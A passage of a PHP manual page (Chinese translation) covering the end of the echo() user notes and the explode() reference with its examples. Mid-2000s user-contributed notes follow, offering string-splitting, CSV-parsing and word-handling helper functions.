  for ($chars=strlen($string)-1,$start=0;$start <= $chars;$start += $bufferSize) {
   echo substr($string,$start,$buffer_size);
  }
}
?>
renrutal at gmail dot com
29-Mar-2005 07:34
Note that:

<?php
echo "2 + 2 = " . 2+2; // This will print 4
echo "2 + 2 = " , 2+2; // This will print 2+2 = 4
?>

The commas will parse the result of the expressions correctly.
paul dot mateescu at zirkonmedia dot ro
27-Feb-2005 06:35
Hello,

If you want to use echo <<<ENDOFECHO (here document style) and you notice that the server does not seem to recognise this form (you get a blank page with no content at all), chances are your editor uses a wrong type of line break.

Fore instance, I use Dreamweaver for Macintosh. You should have the following preferences:

Dreamweaver >> Preferences >> Code Format >> Line break type

set to "CR LF (Windows)" or "LF (Unix)". Dreamweaver for Mac ships with "CR (Macintosh)" by default (at least the MX edition, don't know about any other editions), which confuses the PHP interpreter.

Best,

Paul Mateescu
ryan at wonko dot com
27-Feb-2005 04:56
Due to the way TCP/IP packets are buffered, using echo to send large strings to the client may cause a severe performance hit. Sometimes it can add as much as an entire second to the processing time of the script. This even happens when output buffering is used.

If you need to echo a large string, break it into smaller chunks first and then echo each chunk. The following function will do the trick in PHP5:

<?php
function echobig($string, $bufferSize = 8192)
{
   $splitString = str_split($string, $bufferSize);

   foreach($splitString as $chunk)
       echo $chunk;
}
?>
Truffy
15-Jan-2005 05:02
You can use braces around variables as well as array items. This is useful to help recognition of your variables in your code, but most useful where the variable iteslf cannot be separated with spaces from the preceding/following code, for exmple in a file path:

If a path is assigned the variable $path, then this code will not work:

echo "$pathindex.php";

whereas this will

echo "{$path}index.php";
zombie)at(localm)dot(org)
26-Jan-2003 03:26
[Ed. Note: During normal execution, the buffer (where echo's arguments go) is not flushed (sent) after each write to the buffer. To do that you'd need to use the flush() function, and even that may not cause the data to be sent, depending on your web server.]

Echo is an i/o process and i/o processes are typically time consuming. For the longest time i have been outputting content by echoing as i get the data to output. Therefore i might have hundreds of echoes in my document. Recently, i have switched to concatenating all my string output together and then just doing one echo at the end. This organizes the code more, and i do believe cuts down on a bit of time. Likewise, i benchmark all my pages and echo seems to influence this as well. At the top of the page i get the micro time, and at the end i figure out how long the page took to process. With the old method of "echo as you go" the processing time seemed to be dependent on the user's net connection as well as the servers processing speed. This was probably due to how echo works and the sending of packets of info back and forth to the user. One an one script i was getting .0004 secs on a cable modem, and a friend of mine in on dialup was getting .2 secs. Finally, to test that echo is slow; I built strings of XML and XSLT and used the PHP sablotron functions to do a transformation and return a new string. I then echoed the string. Before the echo, the process time was around .025 seconds and .4 after the echo. So if you are big into getting the actual processing time of your scripts, don't include echoes since they seem to be user dependent. Note that this is just my experience and it could be a fluke.
add a note add a note

后退 | 起点 | 前进
crypt | 上一级 | explode


explode

(PHP 3, PHP 4, PHP 5)

explode -- 使用一个字符串分割另一个字符串

描述

array explode ( string separator, string string [, int limit] )

此函数返回由字符串组成的数组，每个元素都是 string 的一个子串，它们被字符串 separator 作为边界点分割出来。如果设置了 limit 参数，则返回的数组包含最多 limit 个元素，而最后那个元素将包含 string 的剩余部分。

如果 separator 为空字符串（""），explode() 将返回 FALSE。如果 separator 所包含的值在 string 中找不到，那么 explode() 将返回包含 string 单个元素的数组。

如果 limit 参数是负数，则返回除了最后的 limit 个元素外的所有元素。此特性是 PHP 5.1.0 中新增的。

由于历史原因，虽然 implode() 可以接收两种参数顺序，但是 explode() 不行。你必须保证 separator 参数在 string 参数之前才行。

注: 参数 limit 是在 PHP 4.0.1 中加入的。

例子 1. explode() 示例

<?php
// 示例 1
$pizza  = "piece1 piece2 piece3 piece4 piece5 piece6";
$pieces = explode(" ", $pizza);
echo $pieces[0]; // piece1
echo $pieces[1]; // piece2

// 示例 2
$data = "foo:*:1023:1000::/home/foo:/bin/sh";
list($user, $pass, $uid, $gid, $gecos, $home, $shell) = explode(":", $data);
echo $user; // foo
echo $pass; // *

?>

例子 2. limit 参数示例

<?php
$str = 'one|two|three|four';

// 正数的 limit
print_r(explode('|', $str, 2));

// 负数的 limit
print_r(explode('|', $str, -1));
?>

以上示例将输出：

Array
(
    [0] => one
    [1] => two|three|four
)
Array
(
    [0] => one
    [1] => two
    [2] => three
)

注: 本函数可安全用于二进制对象。

参见 preg_split()、spliti()、split() 与 implode()。

add a note add a note User Contributed Notes
bfpdevel at gmail dot com
27-May-2006 05:44
This is a entire modification of the markus function
I don't know if that function work fast with long strings, I only test it with a max of 600 characters and work very fast.
This function have a minor bug, if someone know how to fix them, wellcome.

at the first line, I change the cuotes for a "not very used" character. But if that character are used in the $string, them we have a problem.

The line is: $op = array("\\'"=>"~", "\\\""=>"");

Sorry my english

<?php
function quote_explode( $delim, $string, $encap = '"' )
{
   $op = array("\\'"=>"~", "\\\""=>"");
   foreach($op as $key => $val)
       $string = str_replace($key, $val, $string);

   $localstr = "";
   $s = str_split($string);
   for($i=0; $i < count($s); $i++)
   {
       if($s[$i] == $encap && (!$action || $action == "close"))
           $action = "open";
       else if($s[$i] == $encap && $action == "open")
           $action = "close";

       if($s[$i] == $delim && !$action)
       {
           foreach($op as $key => $val)
               $localstr = str_replace($val, $key, $localstr);

           $r[] = $localstr;
           $localstr = "";
           continue;
       }

       if($action == "open" && $s[$i] != $encap)
           $localstr .= $s[$i];
       else if($action == "close")
           $action = false;
       else if($s[$i] != $encap)
           $localstr .= $s[$i];
   }
   $r[] = $localstr;

   return $r;
}
?>
webmaster at saund-web dot com
14-Mar-2006 02:20
If you want to split a price (float) into pounds and pence.

or dollors and cents etc etc.

$price = "6.20";

$split = explode(".", $price);
$pound = $split[0]; // piece1
$pence = $split[1]; // piece2

echo "&pound $pound . $pence\n";
markus dot schabel at tgm dot ac dot at
15-Feb-2006 06:29
My version looks like the following:

<?php
/**
 * Explode a string by delimiters, but ignore delimiters inside encapsulation.
 *
 * This function works like the explode() function, but takes care that
 * delimiters inside encapsulated parts are ignored. This is useful for CSV
 * files, where the parts may be encapsulated by " or ', and any delimiter
 * between two encapsulation characters is part of the string, so this part
 * cannot be exploded.
 * Note however, when reading data from a CSV file, the PHP function fgetcsv()
 * should be used.
 *
 * @param string $delim is the delimiter that should be used for splitting.
 * @param string $string is the string that should be splitted.
 * @param string $encap is the encapsulation character.
 *
 * @return array of string that contains the splitted parts.
 */
function quote_explode( $delim, $string, $encap = '"' ) {
       $parts = explode( $delim, $string );
       $correctParts = array();
       $correctIndex = 0;
       $insideEncaps = false;
       foreach ( $parts as $part ) {
               $numEncaps = substr_count( $part, $encap );
               if ( !$insideEncaps ) {
                       switch ( $numEncaps ) {
                               case 1:
                                       $correctParts[$correctIndex] = str_replace( $encap, '', $part );
                                       $insideEncaps = true;
                                       break;
                               case 0:
                               case 2:
                                       $correctParts[$correctIndex++] = str_replace( $encap, '', $part );
                                       break;
                               default:
                                       echo 'Found more than 2 encapsulations - this should not happen!';
                       }
               } else {
                       switch ( $numEncaps ) {
                               case 0:
                                       $correctParts[$correctIndex] .= ';'.str_replace( $encap, '', $part );
                                       break;
                               case 1:
                                       $correctParts[$correctIndex++] .= ';'.str_replace( $encap, '', $part );
                                       $insideEncaps = false;
                                       break;
                               default:
                                       echo 'Found more than 2 encapsulations - this should not happen!';
                       }
               }
       }

       return $correctParts;
}
?>

However, I just replaced it with fgetcsv(). There really should be a see-also link to the fgetcsv() function. ;-))
sbc at mail dot bg
28-Dec-2005 01:11
I`m sorry, the previous function was very slow because it uses expandable number of iterations, and does not hyphenate correctly.
so use this one, because it uses only 1 iteration!!!
Also keep in mind that the function hyphenate whole words.

<?
   function hyphenate_text($text)
   {
       $length = 70;            //  Length of the rows
       $hyphenate = '<br>';    //  Hyphenate char
       $startcount = 0;
       $curindex = 0;
       $wcount = 0;
       $words = explode(' ', $text);
       $c = count ($words);
       $hyphe = array();
       for($i=0; $i<=$c; $i++)
       {
           $value = $words[$i];
           $wcount += strlen($value)+1;
           if($wcount>$length-strlen($hyphenate) || $i==$c)
           {
               if ($curindex==0)    //  If there is word bigger than the length
               {
                   $curindex=1;
                   $i++;
               }
               $med_line = implode(' ', array_slice($words, $startcount, $curindex)) . $hyphenate;
               array_push ($hyphe, $med_line);        // Add Line
               $wcount = 0;
               $startcount += $curindex;
               $curindex = -1;
               if ($i == $c)
               break;
               $i--;
           }
           $curindex++;
       }
       return $hyphe;
   }
?>

You have to add String, and the function returns array of lines!
michael dot martinek at gmail dot com
07-Dec-2005 08:37
The explodei function gave me an idea. I did some modifications to it, and appear to have made it a bit faster. My time-tests aren't scientific either, I just put it in a loop and run it a couple thousand times (more or less, depending on how much data is being processed.)

In the original explodei posted, I had to comment out the "if(function_exists("str_ireplace"))" section, as my PHP version is >5; and this is a function being done for <5. :)

<?php
  function explodei($ASeperator, $ASource) {

   $ASeperator    = strtolower($ASeperator);

   //also create a case insensitive source in memory
   $x_insensitive = strtolower($ASource);

   //get result based off insensitive matches.
   $x_data = explode($ASeperator, $x_insensitive);

   //iterate each item and transfer over the fields based on length
   $x_position = 0;

   //don't keep calling strlen() in a loop on a consistent source.. icky.
   $x_sep_len  = strlen($ASeperator);

   //iterate all elements obtained via explode() assigned to $x_data
   foreach ($x_data as $myElement) {
     //How long is this particular element?
     $x_element_length = strlen($myElement);

     //create new result element, we have the position and length, grab it from
     //the ORIGINAL source, so we don't pass along non-original info.
     $retval[] = substr($ASource, $x_position, $x_element_length);

     //increase position by length of seperator, and length of this element.
     $x_position += $x_element_length + $x_sep_len;
   }

   //return our results
   return $retval;
  }

?>

The results! In a PHP <5 version:

Testing source:

<?php
  function microtime_float() {
   list($usec, $sec) = explode(" ", microtime());
   return ((float)$usec + (float)$sec);
  }

  //Be careful! This increases exponentially. :)
  for ($x=0,$x_source="TEST|";$x<16;$x++) $x_source .= $x_source;
  echo "\$x_source length: " . strlen($x_source) . "\n";

  $x_micro_start = microtime_float();

  //increase or decrease $x<10 to whatever.
  //Don't do many iterations on a high $x value above.
  for ($x = 0; $x<2; $x++)
   $myResult = explodei('|', $x_source);

  $x_micro_stop = microtime_float();
  $x_micro_time = $x_micro_stop - $x_micro_start;

  echo "Time: {$x_micro_time} seconds.\n";
?>

The original explodei:
akede:/home/akede # php -f ip2loc.php
$x_source length: 327680
Time: 151.550167084 seconds.

My version:
akede:/home/akede # php -f ip2loc.php
$x_source length: 327680
Time: 0.943643808365 seconds.

The reason it's faster? Because it relies on built-in functions more than the original. Explode does the "hard work" and finds all the positions we're going to need. In the original, it uses the scripting environment to iterate the entire source string, .. hmm. Actually, if I understand that right, it looks like it actually is going off a 1-character seperator in the original source. I guess that works. Explode(), AFAIK supports strings for seperators. Anyway, it works. Write something faster, play with it, use it, whatever. It's all fun-- have fun!
kroczu at interia dot pl
22-Nov-2005 04:32
case-insensitive version of explode()
<?
function explodei($separator, &$txt){

   // working in PHP 5 (fast) ///////////////////////////

   if(function_exists("str_ireplace")){
     $separator_l=strtolower($separator);
     return explode($separator_l,  str_ireplace($separator, $separator_l, $txt));
   }

   // PHP < 5  (slow) ///////////////////////////////////

   $txt_l=strlen($txt);
   $separator_l=strlen($separator);
   $separator=strtolower($separator);

   $j=0;
   $row=0;
   $stop=false;
   $start=0;

   for($i=0; $i<$txt_l; $i++){

     if($txt[$i]==$separator[$j]){

         if($stop===false) $stop=$i;
         $j++;
         if($j==$separator_l){
           $tab[$row]=substr($txt, $start, $stop-$start);
           $row++;
           $i=$start=$stop+$separator_l;
           $stop=false;
           $j=0;
         }
     }
     elseif($stop!==false){
         $i=$stop+1;
         $stop=false;
         $j=0;
     }
   }

   $tab[$row]=substr($txt, $start);

   return $tab;
}
?>
sean at aliencreations dot com
06-Nov-2005 09:01
Here's a simple function to convert someone's height in inches to a feet/inch ratio using explode():

function get_height($inches)
{
  //divide by 12 to get inches
  $feet = $inches/12;

  //round decimal so we can divide by 100 and use as percent
  $feet = round($feet, 2);

  // separate whole from decimal
  $parts = explode(".", $feet);
  $whole_feet = $parts[0];

  //turn remaining into percent of 12
  $remaining_inches = round(($parts[1]/100)*12);

  $height = $whole_feet."&#39; ".$remaining_inches."&quot;";

  return $height;
}
fsnirl.hinny at gmail.com
22-Oct-2005 09:27
Correct me if I'm wrong, but I think this way of doing the explode_quote or explode2 function is much quicker if you always want to mark words by quotes and a space is the delimeter to break things on otherwise. Using php's built in functions usually makes things run a lot faster.
<?php

function explode_quotes($AString) {
   $words = wordwrap($AString,3);
   $exploded = explode("\n",$words);
   $exploded = str_replace(chr(26),' ',$exploded);
   return $exploded;
}

?>

I don't know what benchmark you are talking about for the other posts since they are never really described, but I just put a for loop around each one and ran the for loop 400000 times and here is the time difference between my explode_quotes and the first posted explode_quote

Start 1: 1129947556
End 1: 1129947559
Total 1: 3 seconds

Start 2: 1129947559
End 2: 1129947584
Total 2: 25 seconds

Not very scientific, but the advantage is clear.

Note, my email address is obfuscated by moving my left hand one key position to the right.
britz_pm at hotmail dot com
19-Oct-2005 04:23
PLEASE NOTE I HAD TO BREAK SOME LINES CAUSE OF WORDWRAP() WAS NOT HAPPY :(

Well i thought of making some versions of explode/implode
functions with can do any depth of multi-dimensional arrays
with or without keeping the keys

make/change the defaults as you need them
as for error checking i did not add any because would probably
make it take longer to run add em if you please

Code:
<?php
function mul_dim_implode($curarray,$startglue,$endglue,
$withkeys=false,$startkeyglue=null,$endkeyglue=null,$level=0) {
 foreach($curarray as $curkey => $curvalue) {
  if (is_array($curvalue)) {
   $curvalue = mul_dim_implode($curvalue,$startglue,$endglue,
               $withkeys,$startkeyglue,$endkeyglue,$level+1);
  }
  if (!isset($retu)) {
   if ($withkeys) {
   $retu = $curkey.$startkeyglue.$level.$endkeyglue.$curvalue;
   } else {
   $retu = $curvalue;
   }
  } else {
   if ($withkeys) {
   $retu .= $startglue.$level.$endglue.$curkey.
             $startkeyglue.$level.$endkeyglue.$curvalue;
   } else {
   $retu .= $startglue.$level.$endglue.$curvalue;
   }
  }
 }
return $retu;
}

function mul_dim_explode($curstring,$startglue,$endglue,
$withkeys=false,$startkeyglue=null,$endkeyglue=null,$level=0) {
 if (strstr($curstring,$startglue.$level.$endglue)) {
  $eacharay = explode($startglue.$level.$endglue,$curstring);
  foreach ($eacharay as $curstr) {
   if ($withkeys) {
   $temp = explode($startkeyglue.$level.$endkeyglue,$curstr);
   $retu[$temp[0]] = mul_dim_explode($temp[1],$startglue,$endglue,
                     $withkeys,$startkeyglue,$endkeyglue,$level+1);
   } else {
   $retu[] = mul_dim_explode($curstr,$startglue,$endglue,
             $withkeys,$startkeyglue,$endkeyglue,$level+1);
   }
  }
 } else {
  return $curstring;
 }
return $retu;
}
?>
Example:
<?php
$array = array('a' => 'aa', 'b' => 'bb',
                   'c' => array('d' => 'dd', 'e' => 'ee',
                   'f' => array('g' => 'gg', 'h' => 'hh')));
$plode = mul_dim_implode($array,"-[","]-");
$keyplode = mul_dim_implode($array,"-[","]-",true,"={","}=");
echo($plode);
echo("\n<br/>\n");
echo($keyplode);
$unplode = mul_dim_explode($plode,"-[","]-");
$keyunplode = mul_dim_explode($keyplode,"-[","]-",true,"={","}=");
echo("\n<pre>\n");
echo("Before:\n");
print_r($array);
echo("After:\n");
print_r($unplode);
print_r($keyunplode);
echo("</pre>");
?>
Output:

aa-[0]-bb-[0]-dd-[1]-ee-[1]-gg-[2]-hh

a={0}=aa-[0]-b={0}=bb-[0]-c={0}=d={1}=dd
-[1]-e={1}=ee-[1]-f={1}=g={2}=gg-[2]-h={2}=hh

Before:
Array
(
   [a] => aa
   [b] => bb
   [c] => Array
       (
           [d] => dd
           [e] => ee
           [f] => Array
               (
                   [g] => gg
                   [h] => hh
               )

       )

)
After:
Array
(
   [0] => aa
   [1] => bb
   [2] => Array
       (
           [0] => dd
           [1] => ee
           [2] => Array
               (
                   [0] => gg
                   [1] => hh
               )

       )

)
Array
(
   [a] => aa
   [b] => bb
   [c] => Array
       (
           [d] => dd
           [e] => ee
           [f] => Array
               (
                   [g] => gg
                   [h] => hh
               )

       )

)

Enjoy. ;p
michael dot martinek at gmail dot com
15-Oct-2005 08:51
Re: My Last Post

I left an important part of my last post out. My previous explode_quote method will leave the encapsulation characters in the resulting arrays.

The time average on 4 executions for this modification is 68.66882109642. (On explode() it's 3 seconds, which has almost made me want to write a module for things like this, so they can be binary-compiled.

Anyway, here's the code to leave out encapsulation characters:

<?php
   function explode_quote($ADelim, $AString, $AEncap = '"') {
       $retval = array();

       //if we have an empty string, don't even bother processing
       if (empty($AString))
           return $retval;

       //calculate source length and initialize some variables
       $srcLength  = strlen($AString);
       $insideEncap = false;

       //0..X string indexing in PHP, we'll be reading +1
       $lastPos    = -1;

       for ($x=0;$x<$srcLength;$x++) {
           if ($AString[$x]==$AEncap) {
               if (!($insideEncap = !$insideEncap)) {
                   $retval[]    = substr($AString, $lastPos+2, $x-$lastPos-2);
                   $lastPos    = ++$x;
               }
           }
           elseif (!$insideEncap && $AString[$x]==$ADelim) {
               $retval[]    = substr($AString, $lastPos+1, $x-$lastPos-1);
               $lastPos    = $x;
           }
       }

       //if string doesn't end with delimiter, then throw remaining data to result
       if ($lastPos!=$srcLength)
           $retval[] = substr($AString, $lastPos+1, $srcLength);

       return $retval;
   }
?>
hardy at mapscene dot de
07-Oct-2005 08:17
//new quick lastword-function demonstration of the fastest way possible!

if (!function_exists('microtime_float')) {
   function microtime_float()
   {
       list($usec, $sec) = explode(" ", microtime());
       return ((float)$usec + (float)$sec);
   }
}

function lastwordOLD($string,$seperator=" ") {//last word of an string
   $array    = explode($seperator, $string);
   $number    = count($array);
   if($number>0) {
       $number--;
       return $array[$number];
   }
   return;
}

//low memory/cpu/parsetime-usage-version of lastword
function lastword($string,$seperator=" ") {//last word of an string
   return substr($string,strrpos($string,$seperator));
}

//letz check how good is the new function instead of the old...
$time_start = microtime_float(true);
print "<br><br>lastwordOLD:";
print "<br>needle included: ".lastwordOLD("hans peter susi luci");//output needle included: luci
print "<br>needle not included: ".lastwordOLD("hans;peter;susi;luci");//output needle not included: hans;peter;susi;luci
print "<br>runtime-usage x10000: ";
$aa=0;
while($aa<10000){
   $aa++;
   $request=lastwordOLD("hans peter susi luci");
   $request=lastwordOLD("hans;peter;susi;luci");
}
$time_end = microtime_float();
$timeOLD = $time_end - $time_start;
print $timeOLD;

$time_start = microtime_float(true);
print "<br><br>lastword(new):";
print "<br>needle included: ".lastword("hans peter susi luci");//output needle included: luci
print "<br>needle not included: ".lastword("hans;peter;susi;luci");//output needle not included: hans;peter;susi;luci
print "<br>runtime-usage x10000: ";
$aa=0;
while($aa<10000){
   $aa++;
   $request=lastword("hans peter susi luci");
   $request=lastword("hans;peter;susi;luci");
}
$time_end = microtime_float();
$time = $time_end - $time_start;
print $time;

//the result is...
print "<br><br>you spare with this script and using new function instead of old: ".($timeOLD-$time)." sec.";

//you will see the parsetime of new function procedere will be circa a half of the old!
//
//result of my webserver , running on an pentium4 2800mhz with suse9
//
//lastwordOLD:
//needle included: luci
//needle not included: hans;peter;susi;luci
//runtime-usage x10000: 0.15616607666
//
//lastword(new):
//needle included: luci
//needle not included: hans;peter;susi;luci
//runtime-usage x10000: 0.0851180553436
//
//you spare with this script and using new function instead of old: 0.0710480213165 sec.
jeppe at bundsgaard dot net
18-Sep-2005 02:08
In version 5.05 (I have heard it is the same in 5.1) I suddenly got the error "only variables can be passed by reference" in connection to "array_pop(explode())" - it affects a lot of other combinations too (array_shift, array_keys, list etc).

The solution is simple (and it is possible to do a global search and replace):

replace array_pop(explode()) with array_pop($dummyarr=explode()).
ployola at kinetica dot cl
26-Jul-2005 10:52
Function to format a date:

function formato_fecha($fecha){
$arr = explode("-", $fecha);
$fecha=$arr[2]."/".$arr[1]."/".$arr[0];
return $fecha;
}
x403 at yandex dot ru
24-Jul-2005 08:09
For parsing URL better use Preg_split with flag PREG_SPLIT_NO_EMPTY because Explode or Split functions set empty array elements. For example:

$parts = preg_split("/\//i", $_SERVER["REQUEST_URI"], -1, PREG_SPLIT_NO_EMPTY);

result: Array ( [0] => mix [1] => exhibit )

Explode("/",$_SERVER["REQUEST_URI"] )

result: Array ( [0] => [1] => [2] => mix [3] => exhibit )
jeremymcanally at gmail dot com
21-Jul-2005 10:44
Here's an even better last word function:

function lastword($theString)
{
   $stringParts = explode(" ", $theString);
   return array_pop($stringParts);
}
mikeshoup at gmail dot com
16-Jul-2005 12:06
Its worthy to note that the . and .. directories are also listed. If you don't want them, I do a check like:
<?php
while(false !== ($file = readdir($directory)))
{
   if($file == '.' || $file == '..') continue;
   /* Do Stuff Here */
}
?>
AussieDan
08-Jul-2005 02:12
Here is an expanded version of the csv_explode function which can parse a string consisting of multiple csv rows.

<?php
function csv_parse($str,$f_delim = ',',$r_delim = "\n",$qual = '"')
{
   $output = array();
   $row = array();
   $word = '';

   $len = strlen($str);
   $inside = false;

   $skipchars = array($qual,'\\');

   for ($i = 0; $i < $len; ++$i) {
       $c = $str[$i];
       if (!$inside && $c == $f_delim) {
           $row[] = $word;
           $word = '';
       } elseif (!$inside && $c == $r_delim) {
           $row[] = $word;
           $word = '';
           $output[] = $row;
           $row = array();
       } else if ($inside && in_array($c,$skipchars) && ($i+1 < $len && $str[$i+1] == $qual)) {
           $word .= $qual;
           ++$i;
       } else if ($c == $qual) {
           $inside = !$inside;
       } else {
           $word .= $c;
       }
   }

   $row[] = $word;
   $output[] = $row;

   return $output;
}
?>
www.AllportPC.com
07-Jul-2005 08:34
I was trying to make it simple for a user to enter values in 1 text field and save them in a database and then the database convert it to a drop down.  I wrote this code and it works great.

<select name="select" size="1">
<?php $body = "value1;value2;value3;value4";
$body1 = explode(";", $body);
$body1Count = count($body1)-1;
$body1Start = 0;

do {
  echo '<option value="' . $body1[$body1Start] . '">' . $body1[$body1Start] . '</option>';

$body1Start = $body1Start + 1;

} while ($body1Count >= $body1Start); ?>
</select>
janklopper.at.gmail.dot.com
28-Jun-2005 08:06
This is a better (altough untested) version of the lastword function, is searches from the end back to the begin until it finds seperator, and thus only searches the smalest possible part of the string. very helpfull for large strings.

function lastword($string,$seperator=" ") {//last word of a string
 $count=strlen($string);
 $count--;
 for($i=$count;$i--;$i==0){
  if($string[$i]==$seperator){
   $location=$i-($i*2);
   return substr($string,$location);
  }
 }
 return;
}
hardy at mapscene dot de
23-Jun-2005 08:33
here are some usefully simple functions to get word-parts of an given string...  i remember to that functions by using arexx on amiga :)

function words($string,$seperator=" ") {//amount of words in the string
   $array    = explode($seperator, $string);
   return count($array);
}

function word($string,$number=1,$seperator=" ") {//word num of string
   if($number>0)$number--;
   $array    = explode($seperator, $string);
   if(count($array)>=$number)
       return $array[$number];
   return;
}

function lastword($string,$seperator=" ") {//last word of an string
   $array    = explode($seperator, $string);
   $number    = count($array);
   if($number>0) {
       $number--;
       return $array[$number];
   }
   return;
}
contact_trieu at hotmail dot com
16-Jun-2005 01:27
Sorry, this is a change to the function I previously submitted to limit a sentence by chars.  This accounts for spaces, whereas the previous one I submitted does not.  Again, this function is a modified version of other function mentioned previously.

<?php
   function charLimit($string, $length = 25, $ellipsis = "...")
   {
       $words = explode(' ', $string);

       $curindex = 0;
       $wcount = 0;
       foreach($words as $value){
               $wcount += strlen($value)+1;

           if($wcount>$length-strlen($ellipsis)){
               break;
           }
           $curindex++;
       }

       return implode(' ', array_slice($words, 0, $curindex)) . $ellipsis;

   }

?>
m_b
01-Jun-2005 08:29
Here's how to split a text file into lines using explode(). This could be very useful for restoring backed up databases, when you need to pass every line (SQL statement) to MYSQL separatly:

$theFile = file_get_contents('file.txt');

$lines = array();
$lines = explode("\n", $theFile);
$lineCount = count($lines);

for ($i = 0; $i < $lineCount; $i++){
 echo $lines[$i]."<hr>";
}//for

The text lines are split by a horizontal line so you can see the effect in the browser
andy at savagescape dot com
17-May-2005 11:15
Here's Urban Heroes' function written with the ternary operator an dan inline assignment to make it slimmer still:

function word_limit($string, $length = 50, $ellipsis = "...") {
       return (count($words = explode(' ', $string)) > $length) ? implode(' ', array_slice($words, 0, $length)) . $ellipsis : $string;
   }
Mart
03-May-2005 04:07
The associative array parsing example by hhabermann at pc-kiel dot de seems flawed to me.

Given

<?php
   $data = 'One:1:two:2:three:3';
?>

it should be parsed with

<?php
       function &parse(&$data)
       {
           $data = explode("\n", $data);
           $num = count($data);

           if ($num % 2 || ! $num) {
               return false;
           }

           for ($i = 0; $i < $num / 2; $i++) {
               $ret[$data[$i * 2]] = $data[$i * 2 + 1];
           }

           return $ret;
       }

       $data =& parse($data);

       print_r($data);
?>

The output is as expected:

   Array ( [One] => 1 [two] => 2 [three] => 3 )
nsetzer at allspammustdie dot physics dot umd dot edu
25-Apr-2005 08:57
Yet another "csv explode".  It requires the nearest_neighbor function to work and that's handy in other situations as well.  The code has the advantage (or disadvantage) of using strpos so that the PHP code doesn't transparently go through every character of the string.  With very little modification this code could be used to allow the user to submit alternate deliminators that act like a ' or ".

<?php
function nearest_neighbor($individualGPS, $world, $races)
{
// find the nearest neighbor of each race
foreach ($races as $ethnicGroup)
   $nearest[$ethnicGroup] = strpos($world, $ethnicGroup, $individualGPS + 1);

// sort the nearest in ascending order
asort($nearest, SORT_NUMERIC);
reset($nearest);

// get the first non-false
foreach($nearest as $neighborRace => $neighborLocale)
   if ($neighborLocale !== FALSE)
       return array(    'char' => $neighborRace,
                   'str_loc' => $neighborLocale            );

// went through all races and none are nearby
return FALSE;
}

function csv_explode($explodeOn, $target)
{
// return FALSE if null string is the separator
if ( empty($explodeOn) )
   return FALSE;

// set the search strings
$spotlightArr = Array( $explodeOn, '"', "'");

$numExplosions = 0;
$explodedStrArr[0] = $target;
$currentLocale = 0;    // start at the beginning

// this loop doesn't have a conditional exit because it doesn't need one --
// either a nearest neighbor will be found, or it won't.

while (TRUE)
   {
   // get the next reserved character and its position
   $nearest = nearest_neighbor($currentLocale, $target, $spotlightArr);

   if (! $nearest)
       return $explodedStrArr;

   switch (TRUE)
       {
       // <<<<<<<<<<<<<<<<<<<< BEGIN CASE ' or " >>>>>>>>>>>>>>>>>>>>>>>>>>>
       case ($nearest['char'] == '\''):
       case ($nearest['char'] == '"'):
       // in a string, find string end
       $nextStrChar = strpos($target, $nearest['char'], $nearest['str_loc'] + 1);
       if ($nextStrChar === FALSE)
           {
           // no closing string until end of $target so we're done
               return $explodedStrArr;
           }

       // change locale
       $currentLocale = $nextStrChar + 1;
       break;
       // <<<<<<<<<<<<<<<<<<<<<<< END CASE ' or " >>>>>>>>>>>>>>>>>>>>>>>>>> "

       // <<<<<<<<<<<<<<<<<<< BEGIN CASE $explodedON >>>>>>>>>>>>>>>>>>>>>>>
       case ($nearest['char'] == $explodeOn):
       // found a mine (need to explode)

       // record the stuff up to the end of the mine
       $explodedStrArr[$numExplosions] = substr(    $target,
                                                   $currentLocale,
                                                   $nearest['str_loc'] - $currentLocale
                                               );

       // increment counter
       $numExplosions++;

       // change current locale
       $currentLocale = $nearest['str_loc'] + strlen($explodeOn);
       break;
       // <<<<<<<<<<<<<<<<<<<< END CASE $explodedON >>>>>>>>>>>>>>>>>>>>>>>>

       } // end switch
   } // end while
}

?>
JUSTIN -AT- LUTHRESEARCH -DOT- COM
16-Apr-2005 08:02
A few changes to the proper case function above,
1. $reval was not declared (So it was giving off a notice)
2. If the first word was not a alpha character, it would not capitalze the second, for example "I Like PHP (it's Cool)" should be: "I Like PHP (It's Cool)"

function properCase($strIn)
{
  $retVal = null;
  $arrTmp = explode(" ", trim($strIn));

  for($i=0; $i < count($arrTmp);$i++)
   {
         $firstLetter = substr($arrTmp[$i],0,1);
         if(isAlpha($firstLetter)){
           $rest = substr($arrTmp[$i],1,strlen($arrTmp[$i]));
       $arrOut[$i] = strtoupper($firstLetter).strtolower($rest);
   }else{
   $firstLetter = substr($arrTmp[$i],0,1);
   $SecondLetter = substr($arrTmp[$i],1,1);
   $rest = substr($arrTmp[$i],2,strlen($arrTmp[$i]));
   $arrOut[$i] = $firstLetter . strtoupper($SecondLetter).strtolower($rest);

                 }
             }

           for($j=0; $j < count($arrOut); $j++)
                 $retVal .= $arrOut[$j]." ";

           return trim($retVal);

       }

function isAlpha($character) {
   $c = Ord($character);
   return ((($c >= 64) && ($c <= 90)) || (($c >= 97) && ($c <= 122)));
}
Bob
12-Apr-2005 03:07
I only have access to a really old ver. of php so when I had to come up with a way to grab a filename w/o the suffix (.whatever) i came up with this:

 function remSuffix ($inputString) {
  $origString = $inputString;
  $inputString = explode(".",strrev($inputString),2);
  if (strlen($inputString[1])<>0) {
   return strrev($inputString[1]);
  } else
   return $origString;
 }

takes string, if it has a '.', it returns everything in front of the last occurence of '.'
so :

echo remSuffix("some.file.txt");
will return

some.file

echo remSuffix("somefile.txt");
will return

somefile

if there is no '.' present, then the entire string is returned.

echo remSuffix("somefiletxt");
will return

somefiletxt

from the docs, it seems that in php5 that this can be accomplished by using a -ve limiter so use that instead of you have it!
richardkmiller at gmail dot com
12-Apr-2005 03:01
The function posted by tengel at fluid dot com didn't work for me -- it wouldn't compile.  Here is the function I wrote to do the same thing.  This function explodes a string, ignoring delimeters that appear inside double quotes.  (Incidentally, it also removes double quotes from the exploded elements.)

This correctly parses, for example, a line from a CSV file like this:

10, "abc", "ACME, Inc.", 50.25

It's slow, but it works.  (How could this be faster?)

function explode2($delimeter, $string)
{
   for ($i = 0; $i < strlen($string); $i++)
   {
       if ($string{$i} == '"')
       {
           if ($insidequotes)
               $insidequotes = false;
           else
               $insidequotes = true;
       }
       elseif ($string{$i} == $delimeter)
       {
           if ($insidequotes)
           {
               $currentelement .= $string{$i};
           }
           else
           {
               $returnarray[$elementcount++] = $currentelement;
               $currentelement = '';
           }
       }
       else
       {
           $currentelement .= $string{$i};
       }
   }

   $returnarray[$elementcount++] = $currentelement;

   return $returnarray;
}
powerspike
15-Mar-2005 01:02
a very quick way to get a file extenstion would be -
